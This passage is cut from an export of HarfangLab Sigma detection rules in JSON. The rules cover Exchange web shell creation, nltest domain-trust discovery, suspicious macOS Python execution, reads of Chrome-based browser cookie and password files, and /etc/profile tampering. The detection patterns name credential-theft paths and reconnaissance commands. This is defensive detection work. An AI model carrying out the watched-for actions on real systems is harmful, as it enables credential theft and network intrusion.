+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1505_003_suspicious_aspx_creation_exchange.yml",
+  "content": "title: Suspicious File Created by Exchange Server\nid: d9906f4e-c385-493b-84e3-a7c1603d8f6c\ndescription: |\n    Detects the creation of suspicious files by Exchange Server.\n    Attackers may deploy web shells in default IIS folders to execute commands or as a persistence mechanism.\n    It is recommended to investigate the content of the created file to determine its legitimacy.\nreferences:\n    - https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2025/07/22\nmodified: 2025/08/27\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.003\n    - attack.initial_access\n    - attack.t1190\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection_file:\n        Kind: 'create'\n        Path|endswith:\n            - '.aspx'\n            - '.asp'\n            - '.ashx'\n            - '.asmx'\n            - '.ascx'\n            - '.asax'\n\n    selection_app_exchange:\n        - ProcessCommandLine|contains: 'exchange'\n          ProcessName: 'w3wp.exe'\n        - ProcessParentCommandLine|contains: 'exchange'\n          ProcessParentName: 'w3wp.exe'\n        - ProcessGrandparentCommandLine|contains: 'exchange'\n          ProcessGrandparentName: 'w3wp.exe'\n\n    condition: all of selection_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d9906f4e-c385-493b-84e3-a7c1603d8f6c",
+  "rule_name": "Suspicious File Created by Exchange Server",
+  "rule_description": "Detects the creation of suspicious files by Exchange Server.\nAttackers may deploy web shells in default IIS folders to execute commands or as a persistence mechanism.\nIt is recommended to investigate the content of the created file to determine its legitimacy.\n",
+  "rule_creation_date": "2025-07-22",
+  "rule_modified_date": "2025-08-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d9a80782-290c-4936-a1a0-e2666950ae0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083450Z",
+  "creation_date": "2026-03-23T11:45:34.083453Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083457Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/software/S0359/"
+  ],
+  "name": "t1018_nltest_domain_discovery.yml",
+  "content": "title: Domain Controllers & Trust Discovered via nltest.exe\nid: d9a80782-290c-4936-a1a0-e2666950ae0a\ndescription: |\n    Detects the execution of nltest.exe for domain controllers discovery.\n    Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/software/S0359/\ndate: 2021/03/31\nmodified: 2025/04/29\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - attack.t1482\n    - attack.s0359\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    #nltest /dclist\n    #nltest /domain_trusts /all_trusts\n    selection_bin:\n        - Image|endswith: '\\nltest.exe'\n        - OriginalFileName: 'nltestrk.exe'\n\n    selection_cmd:\n        CommandLine|contains:\n            - '/dclist'\n            - '/domain_trusts'\n            - '/dsgetdc'\n            - '/dnsgetdc'\n\n    exclusion_parentimage:\n        ParentImage:\n            - '?:\\Windows\\AdminArsenal\\PDQInventory-Scanner\\service-?\\exec\\PDQInventoryScanner.exe'\n            - '?:\\Program Files (x86)\\Admin Arsenal\\PDQ Inventory Agent\\PDQInventoryScanner.exe'\n            - '?:\\Program Files (x86)\\Schneider Electric\\Power Monitoring Expert\\system\\bin\\vista.exe'\n            - '?:\\Program Files\\Silverfort\\Silverfort AD Adapter\\SilverfortController.exe'\n\n    # https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/run-analyzer-windows\n    exclusion_MDEClientAnalyzer:\n        CommandLine|contains: '?:\\WINDOWS\\system32\\nltest.exe /dsgetdc:'\n        ParentCommandLine|contains|all:\n            - 'powershell.exe -ExecutionPolicy Bypass'\n            - 'MDEClientAnalyzer.ps1'\n            - '-outputDir'\n\n    # As seen in GOAD lab - Exchange 2016 CU12\n    exclusion_msexchange:\n        CommandLine: 'nltest /dclist:'\n        ParentCommandLine: 'cmd /c nltest /dclist:'\n        GrandparentImage: '?:\\Program Files\\Microsoft\\Exchange Server\\V??\\Bin\\MSExchangeHMWorker.exe'\n\n    exclusion_puppet:\n        GrandparentImage: '?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d9a80782-290c-4936-a1a0-e2666950ae0a",
+  "rule_name": "Domain Controllers & Trust Discovered via nltest.exe",
+  "rule_description": "Detects the execution of nltest.exe for domain controllers discovery.\nAdversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2021-03-31",
+  "rule_modified_date": "2025-04-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1482"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d9c1ee27-920d-4581-a82b-8b5a7408e7c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295222Z",
+  "creation_date": "2026-03-23T11:45:35.295225Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295232Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1059/006/"
+  ],
+  "name": "t1569_006_susp_python_execution_macos.yml",
+  "content": "title: Python Execution in an Uncommon Context\nid: d9c1ee27-920d-4581-a82b-8b5a7408e7c1\ndescription: |\n    Detects the Python interpreter being executed by a process in an uncommon folder or by osascript.\n    Attackers may use Python to conduct operations on a compromised host.\n    It is recommended to check the children of the Python process and the activity of the parents for malicious behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1059/006/\ndate: 2024/07/22\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.006\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.Python\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        ProcessName:\n            - '/usr/bin/python*'\n            - '/usr/local/bin/python*'\n        ProcessSigned: 'true'\n        ProcessParentImage|contains: '?'\n\n    selection_susp_ancestors:\n        ProcessAncestors|contains:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes'\n            # process\n            - '/osascript'\n\n    condition: selection and 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d9c1ee27-920d-4581-a82b-8b5a7408e7c1",
+  "rule_name": "Python Execution in an Uncommon Context",
+  "rule_description": "Detects the Python interpreter being executed by a process in an uncommon folder or by osascript.\nAttackers may use Python to conduct operations on a compromised host.\nIt is recommended to check the children of the Python process and the activity of the parents for malicious behavior.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d9c45e4b-3983-4cd8-ad63-2fb99dffdea9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620953Z",
+  "creation_date": "2026-03-23T11:45:34.620955Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620967Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1539/",
+    "https://attack.mitre.org/techniques/T1555/003/"
+  ],
+  "name": "t1552_004_read_chrome_browser_sensitive_files_macos.yml",
+  "content": "title: Suspicious Access to Chrome-based Browser Sensitive Files\nid: d9c45e4b-3983-4cd8-ad63-2fb99dffdea9\ndescription: |\n    Detects a suspicious access to Chrome-based browser files that hold, for instance, cookies or users's saved passwords.\n    Adversaries may steal web application cookies and credentials and use them to gain access to web applications or Internet services as an authenticated user.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1539/\n    - https://attack.mitre.org/techniques/T1555/003/\ndate: 2024/06/18\nmodified: 2026/02/09\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - attack.t1555.003\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Kind: 'read'\n        Path|startswith:\n            - '/Users/*/Library/Application Support/Google/Chrome/'\n            - '/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/'\n            - '/Users/*/Library/Application Support/Microsoft Edge/'\n            - '/Users/*/Library/Application Support/com.operasoftware.Opera/'\n            - '/Users/*/Library/Application Support/com.operasoftware.OperaGX/'\n            - '/Users/*/Library/Application Support/Vivaldi/*/'\n        Path|endswith:\n            - '/Cookies'\n            - '/Login Data'\n            - '/Web Data'\n            - '/History'\n            - '/Bookmarks'\n        ProcessImage|contains: '?'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n# Common browser exclusion\n    exclusion_chrome:\n        - Image:\n            - '/Applications/Google Chrome*.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper'\n            - '/Applications/Google Chrome*.app/Contents/MacOS/Google Chrome'\n            - '/Volumes/Google Chrome/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper'\n            - '/Volumes/Google Chrome/Google Chrome.app/Contents/MacOS/Google Chrome'\n            - '/Users/*/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper'\n            - '/Users/*/Google Chrome.app/Contents/MacOS/Google Chrome'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId:\n            - 'com.google.Chrome'\n            - 'com.google.Chrome.helper'\n\n    exclusion_edge:\n        - Image:\n            - '/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge'\n            - '/Applications/Microsoft Edge.app/Contents/Frameworks/Microsoft Edge Framework.framework/Versions/*/Helpers/Microsoft Edge Helper.app/Contents/MacOS/Microsoft Edge Helper'\n            - '/Applications/Microsoft Edge.app/Contents/Frameworks/Microsoft Edge Framework.framework/Versions/*/Helpers/Microsoft Edge Helper (Plugin).app/Contents/MacOS/Microsoft Edge Helper (Plugin)'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId:\n            - 'com.microsoft.edgemac.helper.plugin'\n            - 'com.microsoft.edgemac.helper'\n            - 'com.microsoft.edgemac'\n\n    exclusion_firefox:\n        Image:\n            - '*/Firefox*.app/Contents/MacOS/firefox'\n            - '*/Firefox*.app/Contents/MacOS/pingsender'\n            - '*/Firefox*.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container'\n            - '*/Firefox*.app/Contents/MacOS/media-plugin-helper.app/Contents/MacOS/Firefox Media Plugin Helper'\n\n    exclusion_safari:\n        Image:\n            - '/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.BrowserDataImportingService.xpc/Contents/MacOS/com.apple.Safari.BrowserDataImportingService'\n            - '/System/Volumes/Preboot/Cryptexes/App/System/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.BrowserDataImportingService.xpc/Contents/MacOS/com.apple.Safari.BrowserDataImportingService'\n\n    exclusion_arc:\n        - Image:\n            - '/Applications/Arc.app/Contents/MacOS/Arc'\n            - '/Applications/Arc.app/Contents/Frameworks/ArcCore.framework/Versions/A/Helpers/Arc Helper.app/Contents/MacOS/Arc Helper'\n            - '/Volumes/Arc/Arc.app/Contents/MacOS/Arc'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: 'company.thebrowser.Browser'\n\n    exclusion_brave:\n        - Image:\n            - '/Applications/Brave Browser.app/Contents/MacOS/Brave Browser'\n            - '/Applications/Brave Browser.app/Contents/Frameworks/Brave Browser Framework.framework/Versions/*/Helpers/Brave Browser Helper.app/Contents/MacOS/Brave Browser Helper'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: 'com.brave.Browser*'\n\n    exclusion_opera:\n        - Image:\n            - '/Applications/Opera.app/Contents/Frameworks/Opera Framework.framework/Versions/*/Helpers/Opera Helper.app/Contents/MacOS/Opera Helper'\n            - '/Applications/Opera.app/Contents/MacOS/Opera'\n            - '/Users/*/Applications/Opera.app/Contents/MacOS/Opera'\n            - '/Users/*/Applications/Opera.app/Contents/Frameworks/Opera Framework.framework/Versions/*/Helpers/Opera Helper.app/Contents/MacOS/Opera Helper'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: 'com.operasoftware.OperaGX'\n\n    exclusion_vivaldi:\n        - Image:\n            - '/Applications/Vivaldi.app/Contents/MacOS/Vivaldi'\n            - '/Applications/Vivaldi.app/Contents/Frameworks/Vivaldi Framework.framework/Versions/*/Helpers/Vivaldi Helper.app/Contents/MacOS/Vivaldi Helper'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId:\n            - 'com.vivaldi.Vivaldi'\n            - 'com.vivaldi.Vivaldi.helper'\n\n    exclusion_waterfox:\n        Image: '/Applications/Waterfox.app/Contents/MacOS/waterfox'\n\n    exclusion_burp:\n        Image: '/usr/local/bin/burp'\n# end common browser exclusion\n\n    exclusion_haxm:\n        Image: /usr/local/haxm/*/haxm'\n\n    exclusion_paloalto:\n        Image: '/library/application support/paloaltonetworks/traps/bin/pmd'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'pmd'\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.macpaw.CleanMyMac*'\n\n    exclusion_zen_browser:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId:\n            - 'org.mozilla.com.zen.browser'\n            - 'app.zen-browser.zen'\n\n    exclusion_birdagent:\n        ProcessImage|endswith: '/bird_agent_stable'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: '_bird_python_dbg'\n\n    exclusion_jetbrains:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId|startswith: 'com.jetbrains.'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.bitdefender.bddaemon'\n\n    exclusion_zotero:\n        ProcessImage: '/Applications/Zotero.app/Contents/MacOS/zotero'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'org.zotero.zotero'\n\n    exclusion_alfred:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.runningwithcrayons.Alfred'\n\n    exclusion_norton:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.norton'\n\n    exclusion_antigravity:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.google.antigravity.helper'\n\n    exclusion_cursor:\n        Image: '/Applications/Cursor.app/Contents/Frameworks/Cursor Helper.app/Contents/MacOS/Cursor Helper'\n\n    exclusion_chatgpt:\n        Image: '/Applications/ChatGPT Atlas.app/Contents/MacOS/ChatGPT Atlas'\n\n    exclusion_claude:\n        Image|endswith: '/lib/node_modules/@anthropic-ai/claude-code/vendor/ripgrep/arm64-darwin/rg'\n\n    exclusion_comet:\n        Image: '/Applications/Comet.app/Contents/MacOS/Comet'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'ai.perplexity.comet'\n\n    exclusion_memory_cleaner:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.nektony.Memory-Cleaner-SIII'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d9c45e4b-3983-4cd8-ad63-2fb99dffdea9",
+  "rule_name": "Suspicious Access to Chrome-based Browser Sensitive Files",
+  "rule_description": "Detects a suspicious access to Chrome-based browser files that hold, for instance, cookies or users's saved passwords.\nAdversaries may steal web application cookies and credentials and use them to gain access to web applications or Internet services as an authenticated user.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2026-02-09",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539",
+    "attack.t1555.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d9f55b9d-87ee-4d92-ba79-5004d14af637",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.629504Z",
+  "creation_date": "2026-03-23T11:45:34.596785Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596792Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1546/004/"
+  ],
+  "name": "t1546_004_system_profile_modified_linux.yml",
+  "content": "title: System Profile Modified\nid: d9f55b9d-87ee-4d92-ba79-5004d14af637\ndescription: |\n    Detects an attempt to modify the system profile script (/etc/profile) and scripts in the /etc/profile.d/ directory.\n    These scripts contain Linux system-wide environment and startup programs.\n    Adversaries can establish persistence by adding a malicious binary path or shell commands to these files.\n    It is recommended to investigate the process that read the file for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1546/004/\ndate: 2023/01/03\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1546.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path:\n            - '/etc/profile'\n            - '/etc/profile.d/*'\n        - TargetPath:\n            - '/etc/profile'\n            - '/etc/profile.d/*'\n\n    filter_read:\n        Kind: 'access'\n        Permissions: 'read'\n\n    filter_misc:\n        Kind:\n            - 'remove'\n            - 'chmod'\n            - 'chown'\n\n    exclusion_common:\n        ProcessImage:\n            - '/usr/bin/tar'\n            - '/usr/bin/coreutils'\n\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_rpm:\n        ProcessImage: '/usr/bin/rpm'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - 